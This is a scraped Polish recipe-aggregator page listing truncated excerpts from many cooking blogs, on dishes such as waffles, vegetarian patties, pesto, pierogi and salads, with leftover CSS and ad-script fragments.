przestudzić na kratce. Jeśli gofry po upieczeniu położymy na talerzu i to jeden na drugim, zmiękną i niestety stracą swoją chrupiącą skórkę. Gofry podajemy z bitą śmietaną, dżemem, owocami, sosem karmelowym, czekoladowym … dodatków można wymieniać całe mnóstwo, ale tę zabawę pozostawiam Wam, smacznego! Print Gofry .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Pyszne gofrry w kształcie

SprawdzonaKuchnia.pl
Oliwne ciasto czekoladowe 131

zostać na patyczku okruchy lepkiego ciasta. Ciasto po upieczeniu powinno przestygnąć w formie około 10 minut, ciasto można podawać ciepłe lub po całkowitym wystudzeniu. Fantastycznie smakuje z dżemem wiśniowym, sosem malinowym lub lodami. Smacznego!   źródło; „Nigellissima” Artykuł Oliwne ciasto czekoladowe pochodzi z serwisu Sprawdzona Kuchnia

SprawdzonaKuchnia.pl
Placki ziemniaczane 114

szaleństwo. Ciasto na placki przygotujecie w kilka minut, a smażenie na dwóch czy trzech patelniach, to też tylko chwilka. Placki ziemniaczane można podawać z przeróżnymi dodatkami, na przykład z sosem grzybowym, gulaszem, kwaśną lub słodka śmietaną, cukrem czy dżemem. Trzeba pamiętać, że chcąc podać placki ze słodkimi dodatkami należy pominąć w przepisie czosnek i cebulę. W naszym domu królują placki

SprawdzonaKuchnia.pl
Pizza z pieczarkami 122

wprawę uformować je w dłoniach, rozciągając i ugniatając pięściami, ciasto powinno być cienkie. Gotowy spód ułożyć na podsypanej mąką blaszce do pieczenia. Na wierzch każdej pizzy nałożyć porcję sosu pomidorowego, rozsmarować po całej powierzchni, posypać żółtym serem rozłożyć krążki cebuli, pieczarki, cukinię, paprykę i kawałki mozzarelli, wierzch posypać suszonym oregano, bazylią, odrobiną soli i pieprzu. Wstawić do nagrzanego piekarnika

SprawdzonaKuchnia.pl
Kotlety z okary 115

się przyznać, że nie wierzyłam, że będą aż tak smaczne. Dodatek czerwonej papryki, cebuli i aromatycznej skórki z cytryny sprawia, że kotleciki mają niesamowity smak. Kotlety proponuję podawać z sosem z jogurtu naturalnego doprawionego ziołami, a do tego surówka Coleslaw . Kotlety z okary są wspaniałą bazą do przygotowania domowych vege burgerów . Smacznego! Print Kotlety z okary .wprm-recipe-rating .wprm-rating-star.wprm

SprawdzonaKuchnia.pl
Bagietka z ziarnami 114

ziarnami Bagietki na zakwasie żytnim z dodatkiem jagód goji, siemienia lnianego i nasion dyni. Pieczywo idealne do każdego posiłku do sałatki, kanapek czy do dania głównego na przykład do sosu. W tej bagietce znajdziecie zdrowe dodatki oraz wilgotny i sprężysty miąższ. To dzięki dodatkowi siemienia i oleju pieczywo długo zachowuje świeżość. Bardzo smaczne domowe bułki bez większego wysiłku. Bagietki

SprawdzonaKuchnia.pl
Pesto bazyliowe 120

orzeszki piniowe lub orzechy włoskie. Myślę, że ze zdobyciem tych drugich nie będzie żadnego problemu. Pozostałe składniki są ogólnodostępne 🙂 Przygotowanie pesto jest banalnie proste i bardzo szybkie z takim sosem pesto obiad będzie gotowy dosłownie w 10 minut. Tyle czasu trzeba na ugotowanie makaronu. Pesto po przygotowaniu można przechowywać w słoiczku w lodówce, pamiętajcie o warstwie oleju na wierzchu. Smacznego

SprawdzonaKuchnia.pl
Makaron szparagi i pesto 110

dodać cukinię i makaron oraz kilka łyżek pesto, całość podgrzać przez 1- 2 minuty ciągle potrząsając. Makaron przełożyć na talerze, na wierzch każdej porcji pokruszyć ser feta i odrobinę sosu pesto. Smacznego! Artykuł Makaron szparagi i pesto pochodzi z serwisu Sprawdzona Kuchnia

SprawdzonaKuchnia.pl
Brownie ze śliwkami 124

pasują do brownie, czyli ciasta czekoladowego podkreślając jego smak. Nuta cynamonu jest dopełnieniem całej kompozycji. Smażone śliwki można wykorzystać do naleśników, można również zmiksować je w blenderze, a powstałym sosem polać lody lub inny przysmak. Polecam! Print Brownie ze śliwkami .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Pyszne bezglutenowe brownie ze śliwkami. Course Desery Cuisine Polska Keyword

SprawdzonaKuchnia.pl
Kruche ciasto śliwkowe 109

robimy to w przypadku kruszonki. Wstawić do piekarnika, piec 35 minut do uzyskania złotego koloru. Ciasto przed podaniem posypać cukrem pudrem, polać miodem, można zamiast miodu użyć sosu karmelowego. Smacznego! [one-half-first] [/one-half-first] [one-half] [/one-half] Artykuł Kruche ciasto śliwkowe pochodzi z serwisu Sprawdzona Kuchnia

SprawdzonaKuchnia.pl
Pierogi z soczewicą i grzybami 104

temperatury 180 st. C przez 10 do 15 minut do uzyskania złotego koloru. Tak przygotowane pierogi są złociste i chrupiące świetne jako przekąska podana z salsą pomidorową lub sosem czosnkowym. Sposób przygotowania pozostawiam do Waszego wyboru, smacznego! Print Pierogi z soczewicą i grzybami .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Wegetariańskie pierogi z farszem z soczewicy

SprawdzonaKuchnia.pl
Buraczki zasmażane 119

tradycyjny Polski dodatek podawany do dania głównego. Podajemy je do pieczonych mięs, pasztetów, ryb, wędlin i serów. Dziś buraczki zasmażane z cebulą duszoną w czerwonym winie. Cebula przygotowana w sosie winnym daje delikatnie słodki smak i wspaniały winny aromat. Dla zakwaszenia buraczków dodałam jabłko, kwaśną Szarą Renetę. Buraczki zasmażane podajemy na ciepło, ale i na zimno są również bardzo dobre

SprawdzonaKuchnia.pl
Placki ziemniaczano-dyniowe 112

ciasto ziemniaczane przygotowane z dodatkiem dużej ilości czosnku, cebuli i różnego rodzaju przypraw. Właśnie druga wersja daje więcej możliwości serwowania tego dania. Można przygotować do placków różnego rodzaju sosy grzybowe, mięsne, gulasze, lecza można podać je również ze szklanką maślanki. Dziś chciałaby zaproponować Wam nieco inne placki ziemniaczane, bo z dodatkiem dyni, które można nazwać plackami jesiennymi. Placki powinny być

SprawdzonaKuchnia.pl
Wegeburgery 119

szklanki prażonych nasion sezamu 130 g marchewki 1 średnia cebula 9 łyżek oleju roślinnego sól do smaku pieprz do smaku domowa Vegeta opcjonalnie 1 garść natki pietruszki 3 łyżki sosu sojowego 6 łyżek tartej bułki 1 łyżeczka mielonego kminku odrobina pieprzu cayenne 1 łyżka oregano 2 małe jajka Instructions Kaszę ugotować, przed ugotowaniem kaszę należy uprażyć na suchej patelni

SprawdzonaKuchnia.pl
Ciasto czekoladowo – pomarańczowe 119

zredukowania i zgęstnienia płynu, skórka powinna zrobić się przeźroczysta, na koniec dolać alkohol ( lub odrobinę wody jeśli nie używacie alkoholu ) w razie potrzeby dodać więcej cukru wymieszać, odstawić - sos powinien mieć konsystencję gęstego płynnego miodu. Po upieczeniu wyjąć ciasto z piekarnika, wystudzić. Ja wyjęłam ciasto na paterę "do góry nogami", a wierzch ciasta pomalowałam przygotowanym syropem ze skórką pomarańczową, syrop

SprawdzonaKuchnia.pl
Kotlety z kaszy jaglanej i batatów 153

ilością zielonych ziół, imbiru, papryczki chilli i kilku innych aromatycznych dodatków. Kotlety, można podać z dodatkiem dużej ilości świeżych sałatek lub grillowanych warzyw. Polecam również do zestawu dodać prosty sos przygotowany z w dwóch części majonezu i jednej części ketchupu oraz garści świeżych ziół. Kotlety z kaszy jaglanej i batatami są naprawdę smaczne i bardzo łatwe! Smacznego! Print Kotlety

SprawdzonaKuchnia.pl
Kiszone pomidory 102

ciepłym miejscu, ale nie na słońcu. Po tym czasie słoiki odstawić w chłodne i ciemne miejsce. 🍲 Propozycje wykorzystania Do czego można wykorzystać kiszone pomidory ? Na przykład do przygotowania sosów, które można zaserwować z rybami, daniami wegetariańskimi, czy mięsnymi. Wspaniale smakują jako dodatek do past kanapkowych i pasztetów . Szczególnie polecam kwaśną zupę pomidorową. Zupa z kiszonych pomidorów przypadnie do gustu amatorom

SprawdzonaKuchnia.pl
Pasztet wegetariański 132

cebuli 110 g selera naciowego 50 g korzenia pietruszki 130 g marchewki 2 szklanki ugotowanej kaszy jaglanej 120 g ugotowanej cieciorki 60 g prażonych orzechów włoskich 3 łyżki sosu sojowego - dałam jasny 1 łyżeczka gałki muszkatołowej sól do smaku pieprz do smaku 1 łyżka majeranku Instructions Piekarnik rozgrzać do temperatury 190 st C. Marchew, seler i pietruszkę umyć, obrać

SprawdzonaKuchnia.pl
Pasztet do smarowania 141

brązowa można użyć z puszki 240 g ugotowanej białej fasoli 2 ząbki czosnku 1 1/2 łyżeczki nasion kminu rzymskiego rozgniecione czarny pieprz do smaku sól do smaku 3 łyżki sosu sojowego 50 g orzechów włoskich lub laskowych drobno posiekanych 3 łyżki oleju kokosowego można zastąpić dobrej jakości oliwą z oliwek 1 łyżeczka suszonego tymianku 1/2 łyżeczki suszonego estragonu Instructions Cebulę

SprawdzonaKuchnia.pl
Gofry ziemniaczane 125

kapusty kiszonej lub kiszone ogórki. Polecam również pyszną sałatkę coleslaw ona zawsze się sprawdza i smakuje wyśmienicie. U nas do takiego zestawy niezbędny jest kefir lub maślanka i sos grzybowy na przykład z kurek lub z rydzy . Smacznego! Print Gofry ziemniaczane .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Course Obiad Prep Time 15 minutes Cook Time

SprawdzonaKuchnia.pl
Warzywa z grilla 126

samo zdrowie i to bardzo smaczne! Jestem przekonana, że będziecie zachwyceni tym prostym dodatkiem do wyśmienitych grillowanych dań. Warzywa fantastycznie smakują z różnego rodzaju dipami, oliwami smakowymi i sosami, polecam gorąco! Print Warzywa z grilla .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Warzywa z grilla, pysze soczyste marchewki i młode buraczki, rewelacja! Course Dodatki Cuisine Polska Keyword

SprawdzonaKuchnia.pl
Gofry z cukinii 141

można dodać odrobinę więcej mąki. Rozgrzać gofrownicę, kiedy jest już gorąca posmarować ją odrobina oleju roślinnego, nakładać porcję ciasta, piec na złoty kolor. Gofry z cukinii podajemy gorące z sosem lub ze śmietaną i surówkami. Smacznego! Notes Cukinia po odciśnięciu płynu traci sporo na objętości! Podana ilość wystarcza na obiad dla dwóch osób. Artykuł Gofry z cukinii pochodzi z serwisu

SprawdzonaKuchnia.pl
Bolo de caco 170

jedyna. Bolo de caco serwuje się z kiełbasą chorizo , salami lub serem można spotkać również bardzo bogatą wersję z warzywami , pieczonym mięsem lub rybą. Zawsze podane z dodatkiem przeróżnych sosów . Kanapka taka przypomina pitę lub burgery. Dziś zapraszam na wersję podstawową podaną z masłem czosnkowo-pietruszkowym. Chlebek można upiec wcześniej, a przed podaniem podgrzać go i wypełnić ulubionymi dodatkami. Print

SprawdzonaKuchnia.pl
Burgery z buraka 115

proponuję zblendować dla uzyskania bardziej klejącej i zwartej konsystencji. Kotlety podczas pieczenia nie rozsypują się i nie tracą swojego kształtu! Najlepiej smakują podane od razu po usmażeniu z dodatkiem sosów i świeżych warzyw. Smacznego! Print Burgery z buraka .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Buraki i płatki owsiane są podstawą dzisiejszych burgerów. Course Obiad Prep Time

SprawdzonaKuchnia.pl
Naleśniki szpinakowe wegańskie 190

czosnek, który bardzo pasował mi do mojego zestawu dodatków, ale oczywiście możecie go pominąć. Naleśniki szpinakowe najlepiej pasują do dodatków wytrawnych takich jak hummus , świeże warzywa i różnego rodzaju sosy i pasty. Można podać je również z rybą lub mięsem, jeśli macie na to ochotę. Dla poszukujących nowych smaków polecam naleśniki z kremem słodkim przygotowanym z serka mascarpone lub twarożku

SprawdzonaKuchnia.pl
Babeczki mandarynkowe 118

upieczeniu formę z babeczkami wyjmujemy na kratkę i studzimy przez około 10 minut, a następnie wyjmujemy z foremek i pozostawiamy na kratce do całkowitego wystudzenia. Babeczki fantastycznie smakują z sosem z białej czekolady i gałką lodów 😉 Smacznego! Notes Ważne - pamiętajcie o składnikach w temperaturze pokojowej! Babeczki najlepiej smakują następnego dnia po upieczeniu dlatego też po całkowitym wystudzeniu przełóżcie

SprawdzonaKuchnia.pl
Szarlotka kokosowa 143

szarlotkę chyba nigdy zbyt wiele! Szarlotki kochają wszyscy i jest to ciasto odpowiednie na każdą porę roku i na każdą okazję ! Dobre na ciepło i na zimno z lodami, sosami lub bitą śmietaną. Szarlotka koksowa na wyśmienitym kruchym cieście brzmi dobrze, prawda? Jeśli chodzi o kruche ciasto, to jest równie ważne w szarlotkach, jak i samo jabłkowe wypełnienie. Dzisiejsze ciasto

SprawdzonaKuchnia.pl
Kotleciki z quinoa i szpinaku 131

płatków owsianych górskich 120 g świeżego szpinaku sól i pieprz do smaku 1 garść szczypiorku 2 łyżki natki pietruszki 2 łyżki mąki z ciecierzycy lub tarta bułka 2 łyżki sosu sojowego olej do smażenia Instructions Quinoe ugotować w dwóch szklankach wody z dodatkiem soli, gotujemy przez około 20 minut na średnim ogniu, powinna wchłonąć całą wodę. Po ugotowaniu odstawić

SprawdzonaKuchnia.pl
Mleczny chleb Hokkaido 131

dobrze smakuje ze słodkimi dodatkami typu dżemy , kremy orzechowe, czekoladowe lub miody . Nie rezygnujcie jednak przygotowania kanapek z dodatkami wytrawnymi . Fenomenalnie smakuje wersja z pieczonym mięsem, warzywami, sałatą i sosem musztardowym, tę wersję mój mąż kocha najbardziej! 📖 Przepis Print Mleczny chleb Hokkaido .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Najbardziej puszysty chleb tostowy na świecie! Course Pieczywo

SprawdzonaKuchnia.pl
Tacos bez mięsa 120

tacos bez mięsa znalazły swoje miejsce i sprawdziły się idealnie. Uff 😅 Jako dodatki do przygotowania gotowych tacos posłużyły mi świeży szpinak, wegański ser, pomidor oraz, niewidoczny na zdjęciu, sos meksykański i BBQ do drugiego. Ty możesz użyć takich dodatków, jakie lubisz najbardziej, lub które najdłużej zalegają Ci w lodówce. Koniecznie zobacz również mój przepis na placki z kukurydzą , w tajskim

Blendman
Kokosowa kasza jaglana a’la rafaello 119

Możemy zjeść ją od razu na ciepło, albo schować do lodówki i zjeść kolejnego dnia na zimno jako śniadaniową jaglankę z dodatkiem świeżych owoców. Smacznego! Spróbuj także: jaglanka z sosem bananowym, bananowy budyń jaglany. Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na Facebooku i Instagramie Tam częściej pojawiają się zdrowe pyszności Artykuł Kokosowa kasza jaglana

Natka Pietruszki
Domowe masło klarowane (proste i tanie ;) 264

minut. Masła w trakcie podgrzewania nie mieszam. Zbieram jedynie powstałą pianę (jest to ścięte białko mleka m. in. kazeina) za pomocą łyżki lub małej łyżki do sosu. Na koniec ostrożnie przelewam przez gęste sito, dodatkowo osłonięte gazą. Jeśli na powierzchni masła pojawi się jeszcze pianka, spokojnie powinna odparować. Dlatego naczynie, najlepiej słoik bądź naczynie kamionkowe zostawiam odkryte dopóki masło

Saganek
Ogórki w pomidorach do słoików 175

Pyszny sposób na ogórki które są odrobinę za duże na kiszone lub korniszony-uwielbiam je !! Podjadam je jeszcze zanim trafią do słoików,bo sos w którym się marynują jest pyszny-idealne przetwory na zimę-Polecam gorąco

Swojskie jedzonko
Prostota w kuchni. Jak zoptymalizować posiłki? 135

ilościowo. Dobrym pomysłem jest też przygotowanie określonego wywaru i trzymanie go w lodówce lub nawet zamrożenie. W ten sposób na jego bazie można zrobić nie tylko zupy, ale też sosy lub gotować na nim kaszę lub ryż. Analogicznie w lodówce można przechowywać ryż, makaron lub kaszę. To ledwie kilka przykładów na to, że proste przepisy i sposoby na optymalizację czasu

ProstePesto.pl
Sałatka z młodych ziemniaków z pesto 149

Zobacz menu na tydzień pełne warzyw i owoców, z którego pochodzi ten przepis. Sałatka z młodych ziemniaków z pesto nie ma nic wspólnego z nudną ziemniaczaną sałatką z sosem majonezowym! To danie ma smak, charakter, wygląd i zdecydowanie mniej kalorii. Jest pyszne i tak też wygląda. Kluczowym składnikiem sałatki o tej porze roku są młode ziemniaki. Gdy ich zabraknie

Niedzielny kucharz
KUS KUS Z PAPRYKĄ, CEBULĄ I PIERSIĄ KURCZAKA ZAPIEKANY W PIEKARNIKU 128

woda wystawała około 2 cm ponad kaszę. Na wierzch położyć mięso. Piekarnik nagrzać do 170'C, piec około 30- 35 minut. Kus kus można jeść samodzielnie lub polać ulubionym sosem. Zapraszam Was na mój kanał na  YouTube , gdzie możecie zobaczyć wykonanie tego dania w wersji filmu -->  kliknij tutaj Zapraszam Was również do obserwowania mojego konta

Zrób to smacznie
Sałatka obiadowa/grillowa 133

przekładamy do miski i mieszamy *** *** Do małej miseczki przekładamy majonez, jogurt oraz przeciśnięty czosnek. Dodajemy niewielką ilość soli i pieprzu *** *** Dodajemy drobno posiekany koperek i dokładnie mieszamy. Tak przygotowany sos dodajemy do sałatki *** *** Wszystko dokładnie mieszamy i w razie potrzeby doprawiamy jeszcze do smaku solą i pieprzem *** *** SMACZNEGO ***       POLECAM RÓWNIEŻ: SURÓWKI DO OBIADU, GRILLA I BURGERÓW KLIKNIJ

Blog z Apetytem
Kultura hiszpańskich tapas. Co to takiego? 109

degustacja tapas trwa. Do wina podaje się oliwki, solone migdały, kiełbasę z papryką, szynkę serrano i sery. Próbuje się także wielu ciepłych i zimnych przekąsek takich jak cynaderki w sosie sherry, smażone anchois, chrupiące kuleczki ziemniaczane, grillowane krewetki, omlety z ziemniakami, marynowane grzyby, marynowane owoce morza i warzywa. Warto też wiedzieć, że kultura hiszpańskich tapas spotyka się z coraz

ProstePesto.pl
Placki z kaszy gryczanej z boczkiem i parmezanem 135

kaszy gryczanej z boczkiem i parmezanem to danie bardzo proste i dość szybkie w przygotowaniu. Posiłek idealny dla miłośników sytego jedzenia. U mnie w domu najlepiej smakują z domowym sosem czosnkowym lub ketchupem. Podstawowe składniki a smak niebanalny :). (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 200 gram kaszy gryczanej ( 2 woreczki) ja użyłam kaszy gryczanej białej 200 gram boczku wędzonego 2 duże jajka

Blog kulinarny S9.PL
Coleslaw z młodej kapusty z listkami chrzanu 122

ogórków. Kiedyś pieczono chleb na liściach chrzanu. Te mniejsze, młode, delikatne listki mają ogromny potencjał. Smak bardzo fajnie pikantny, chrzanowy. Idealnie komponują się w surówkach i sałatkach, sosach, zupach, można je zjadać na kanapkach. Chrzan możemy posadzić w ogrodzie, ale łatwo go też spotkać dziko rosnącego na łąkach, w parkach, na ścieżkach. Mamy sezon na młodą kapustę, więc warto zrobić

Dorota Smakuje
Łosoś z maślanym sosem cytrynowym i szparagami 161

talerzu znalazło się wspaniałe danie! Delikatny łosoś nie wymaga wielkiego kunsztu od kucharza, ani wyszukanych dodatków, bowiem sam w sobie, wprost z […] Artykuł Łosoś z maślanym sosem cytrynowym i szparagami pochodzi z serwisu Wędrówki po kuchni

Wędrówki po kuchni
Tortilla po meksykańsku – szybka i smaczna przekąska 273

Tortilla po meksykańsku z mięsem mielonym i warzywami w sosie pomidorowym to smaczna przekąska na ciepło dla wielbicieli kuchni meksykańskiej. Danie robi się dość szybko i nie wymaga wiele pracy. Będzie świetną potrawą na imprezie ze znajomymi, ale sprawdzi się też jako lunch do pracy, gdyż łatwo można ją podgrzać w mikrofalówce. Składniki na tortillę po meksykańsku (6 porcji

e-PrzepisyKulinarne
Sałatka wiosenna 174

kostkę, pomidorki na połówki. 4. Sałatę lodową porwij na mniejsze kawałki i wrzuć do miski, po czym dodaj przygotowane wcześniej warzywa. 5. Na wierzch sałatki ułóż pokrojone jajka, zalej sosem i posyp kiełkami

Z notatnika dietetyka
Ciasto z kaszy manny na kefirze 150

manną używam w swojej kuchni bardzo często. Stosuję ją do ciast i deserów, jak również robię z niej różne kluski, knedle czy placki. Dodaję ją także do zup i sosów dla zagęszczenia zamiast mąki ziemniaczanej. Na moim blogu jest nawet cała zakładka z przepisami z kaszy manny, zarówno na słodko jak i na słono. Dziś kolejny przepis z użyciem

Waniliowe Improwizacje
Szaszłyki bamberskie z karkówką i ziemniakami. Cały obiad na jednym patyczku! PRZEPIS 293

szaszłyków nabijaj naprzemiennie kawałki mięsa, ziemniaki i cebulę. Piecz 1,5 godz. w temp 180 stopni. Rada: jako dodatek do szaszłyków bamberskich bardzo fajnie sprawdza się musztarda, domowy sos czosnkowy lub ajwar. Artykuł Szaszłyki bamberskie z karkówką i ziemniakami. Cały obiad na jednym patyczku! PRZEPIS pochodzi z serwisu Kulinarna Polska | Gotowanie i jedzenie

Kulinarna Polska
Pasztet z czerwonej soczewicy 282

delikatny i zbity, oraz suszone pomidory, które… UWIELBIAM. Aromatyczny olej spod suszonych pomidorów sprawia, że cebulka smażona na nim jest obłędna 😍 Do pasztetu idealnie pasuje sojonez oraz wegański sos czosnkowy … jak zresztą do każdego pasztetu 😅 Pasztet z czerwonej soczewicy – WSKAZÓWKI Foremka, której użyłem, miała 30x12cm Wyłożyłem foremkę papierem do pieczenia. Możesz zamiast tego delikatnie ją natłuścić

Blendman
GNOCCHI 205

Sprawdzony i prosty przepis na kluseczki gnocchi, które przygotujecie przez cały rok, z łatwo dostępnych składników. Charakterystyczne w wyglądzie gnocchi smakują z sosami na ciepło, np. pomidorowym, serowym, szpinakowym, podane do mięsa lub warzyw, z leczo lub ot tak z masełkiem i cukrem. Kluseczki gnocchi smakują idealnie podane z pesto lub z tartą mozzarellą (albo parmezanem), roztopionym masełkiem i świeżo

Zasmakuj Kuchni
Placuszki jogurtowe z truskawkami 164

szypułek, kroimy na mniejsze cząstki, dodajemy do ciasta. Na rozgrzaną patelnię wykładamy łyżką porcje ciasta. Smażymy z obu stron na złoty kolor. Można posypać cukrem pudrem lub polać sosem czekoladowym

słodki bratek
Szybki chłopski gar 133

ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Kiełbasy kroimy w talarki. Cebulę siekamy. Pieczarki kroimy na plasterki. Wszystko smażymy na rozgrzanym oleju. Dodajemy fasolę wraz sosem. Podgrzewamy. Do smaku doprawiamy solą i pieprzem. Podajemy ze świeżym pieczywem. Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

R'n'G Kitchen
Błyskawiczna pizza na spodzie z tortilli 161

innymi składnikami tortilla (ilość wg potrzeb) salami lub szynka czerwona papryka – opcjonalnie kilka pieczarek pokrojonych na cienkie plasterki – opcjonalnie 1-2 op. mozzarelli w zalewie xl Sos: ketchup czosnek granulowany szczypta ostrej papryki oregano bazylia sól, pieprz W garnuszku mieszamy kilka łyżek ketchupu z przyprawami. Na blaszce wyłożonej papierem do pieczenia układamy tortillę. Smarujemy ją niezbyt dużą ilością

Smaki Na Talerzu
Knedle z morelami i białą czekoladą 156

dzisiejszej odsłonie ciekawe połączenie w środku, którego może jeszcze nie znacie – słodkie, delikatne morele, a do nich kostka białej czekolady, która po rozkrojeniu rozpływa się ja mleczny sos – musicie ich spróbować. Składniki (na około 12 knedli): 750g ugotowanych ziemniaków 250g mąki pszennej i trochę do podsypania 1 jajko szczypta soli Dodatkowo: 6 dojrzałych moreli 12 kostek białej czekolady

Smaczna Strona
Kluski kładzione z płatków owsianych z sosem truskawkowym 137

jeszcze nie i nadszedł czas i takie spróbować zrobić. Są pyszne, lekko klejące w smaku a z dodatkiem truskawek są idealne. Znakomicie będą również smakowały na wytrawnie np. z sosem grzybowym. Lubicie płatki owsiane? to będą znakomite. Kluski z truskawkami. CZYTAJ DALEJ

Moje Małe Czarowanie
Bee sklep online - ekologiczny ze zdrową żywnością i kosmetykami naturalnymi 148

nawet wieczorem. Inka skomponowana z polskich zbóż i cykorii. *********************************************** Żurawina Targroch. Idealna przekąska,znakomicie wzbogaca smak pieczonych mięs,  Jest także doskonałym dodatkiem do płatków śniadaniowych, deserów, sałatek czy sosów. ************************************************ Płyn do higieny intymnej Care 4organic to delikatny, certyfikowany, hipoalergiczny płyn do codziennej pielęgnacji i higieny okolic intymnych. Stworzony w 98,5% ze składników pochodzenia naturalnego. Aloes zawarty w składzie

Sama słodycz i szczypta chili
Sushi z kurczakiem, papryką i szpinakiem 151

dokładnie zwinąć przy pomocy maty, docisnąć i zrolować w rolkę. 5. Gotowe rolki pokroić ostrym nożem na kawałki o grubości 1-1,5 cm. 6. Sushi podawać z wasabi, sosem sojowym i marynowanym imbirem

Szalona Kuchnia Eweliny
Sałatka z wołowiną, miętą i kolendrą. 172

moja dzisiejsza propozycja. Znajdziesz w sałatce: sezonowe zielone szparagi młodą rzodkiewkę, zioła, które pasują do wołowiny tj. kolendra i mięta - ta dodatkowo świetnie orzeźwia sałatkę.  Całość podałam z sosem z tahini, który robi niesamowita robotą! Polecam! PRZEPIS NA SAŁATKĘ Z WOŁOWINĄ, MIĘTA I KOLENDRĄ - 2 porcje poszarpanej grillowanej wołowiny - zioła świeże mięta, kolendra BAZIÓŁKA - 2 garście pomidorków koktajlowych żółtych

SMYKWKUCHNI
Gołąbki Drobiowe z Pieczarkami 149

zawijamy. Gołąbki układamy ciasno w naczyniu żaroodpornym. Zalewamy bulionem i pieczemy w 180 stopniach pod przykryciem przez godzinę lub dłużej, aż kapusta będzie miękka. Gotowe gołąbki podajemy z sosem pieczarkowym. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Gołąbki Drobiowe z Pieczarkami pochodzi z serwisu Przepiski.pl

Przepiski.pl
Makaron z łososiem i rukolą 132

kwaśnej śmietany (330 g) 350 g rukoli 50 g oliwek 50 g suszonych pomidorów 15 g szczypiorku 1 łyżka + 1 łyżeczka soli (łyżka do makaronu, łyżeczka do warzyw i sosu) 1 łyżeczka świeżo mielonego pieprzu 1 łyżeczka czosnku granulowanego Kroimy na mniejsze kawałki: łososia, cebulę, oliwki oraz suszone pomidory. Myjemy rukolę, jeśli kupiliśmy niemytą. Gotujemy makaron zgodnie z instrukcją podaną

Proste-przepisy.pl
Szczupak smażony 147

Sezon wędkarki i na stół wędruje piękny okaz szczupaka. Białe mięsko naszego słodkowodnego drapieżnika smakuje doskonale. Można do smażonego szczupaka podać warzywne frytki, sałatkę z kapusty kiszonej lub chrzanowy sos. Smażony szczupak jest idealny na danie główne, jak i na ciepłą przekąskę.  Składniki: 1 sztuka szczupaka  4 łyżki masła lub oliwy  2 łyżki mąki sól

Z notatnika
Filet z kurczaka ze szparagami i szynką 154

Pyszny pomysł na obiad,fajnie prezentuje się na stole,prosty do zrobienia,do tego szybki sos z końcówek szparagów i odrobiny mascarpone i gotowe.Kurczak przygotowany w ten sposób pozostaje wilgotny do tego delikatny posmak wędzonej surowej szynki i mięciutkie szparagi- obłędnie dobre jedzenie -polecam

Swojskie jedzonko
Skarby natury. Łosoś. Którego wybrać? 126

także surowego, którego można smażyć, piec, grillować czy gotować na parze. Łosoś wędzony doskonale nadaje się do kanapek i sałatek, a ten w pieczonej postaci można serwować z sosem beszamelowym, cytrynowym czy koperkowym. Choć jego specyficzny i słonawy smak jest niemal zawsze tak samo pyszny, warto zainteresować się tym, z jakiego źródła są ryby, które jemy. Najczęściej sprzedawanym łososiem jest

ProstePesto.pl
Curry z batatów 143

Curry z batatów to prosty i pyszny wegeteriański obiad do przygotowania w niecałe 30 minut. Potrawa jest pożywna, zdrowa i syta. Smaczne warzywa i kremowy sos kokosowy to posmakuje wszystkim

Gotuj zdrowo!Guten Appetit!
Niemiecka sałatka ziemniaczana 222

dużą kostkę *** *** Cebulę kroimy w piórka. Pokrojone warzywa przekładamy do miski *** *** Majonez mieszamy z jogurtem, przeciśniętym czosnkiem i niewielką ilością soli i pieprzu *** *** Dodajemy drobno posiekany koperek, mieszamy *** *** Sos dodajemy do sałatki *** *** Mieszamy i całość doprawiamy jeszcze do smaku solą i pieprzem *** *** Przed podaniem sałatkę przechowujemy w lodówce *** *** SMACZNEGO ***       POLECAM TAKŻE: PRZEPISY NA GRILLA! DANIA Z RUSZTU

Blog z Apetytem
Ugotuj sobie szczęście. Jak Duńczycy. Caroline Fleming 149

swoje uzasadnienie. W wielu książkach kulinarnych na końcu znajdziemy słodkości i desery, a cóż może nam sprawić większą przyjemność?  Ugotowałam sobie szczęście, pudding ryżowy z sosem wiśniowym i migdałami. Tak, to jest danie w duchu idei “hygge”… To bardzo ładnie wydana książka. Wypełniają ją klimatyczne fotografie, na których możemy podziwiać zarówno pyszne potrawy, jak i piękna

Tajemnice Smaku
Stir-fry z łodygą brokuła 131

warzywa. Można powiedzieć, że w podobnym klimacie co stir-fry z łodygą brokuła , jest pesto z liści rzodkiewki . Zazwyczaj liście lądują w koszu, a można z nich ukręcić świetny sos np. do makaronu. Nie ma sensu marnowanie dobrego jedzenia

Blendman
Smażona karkówka z sosem kurkowym 130

cebulę i pokrojone grzyby. Chwilę smażymy, zmniejszamy płomień i 5 minut dusimy pod przykryciem. Dodajemy śmietanę i redukujemy wg uznania. Do smaku doprawiamy solą i pieprzem. Kotlety podajemy polane sosem, posypujemy posiekaną natką pietruszki. Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style

R'n'G Kitchen
Kluski lane 253

Opis Kluski lane: Kluski lane najczęściej podaje się jako dodatek do zup, wtedy gotujemy je bezpośrednio w zupie pod koniec gotowania. Możemy także podać je osobno np. z sosem, ale wtedy gotujemy je w osolonej wodzie. Lane kluski to zazwyczaj dla nas powrót do dzieciństwa. W moim domu bardzo często moja mama oraz babcia przygotowywały je do zup, zamiast tradycyjnego

FoodMagazine.pl - Przepisy kulinarne
Kurczak pieczony na płasko. Cały rumiany i doskonale doprawiany. PRZEPIS 1023

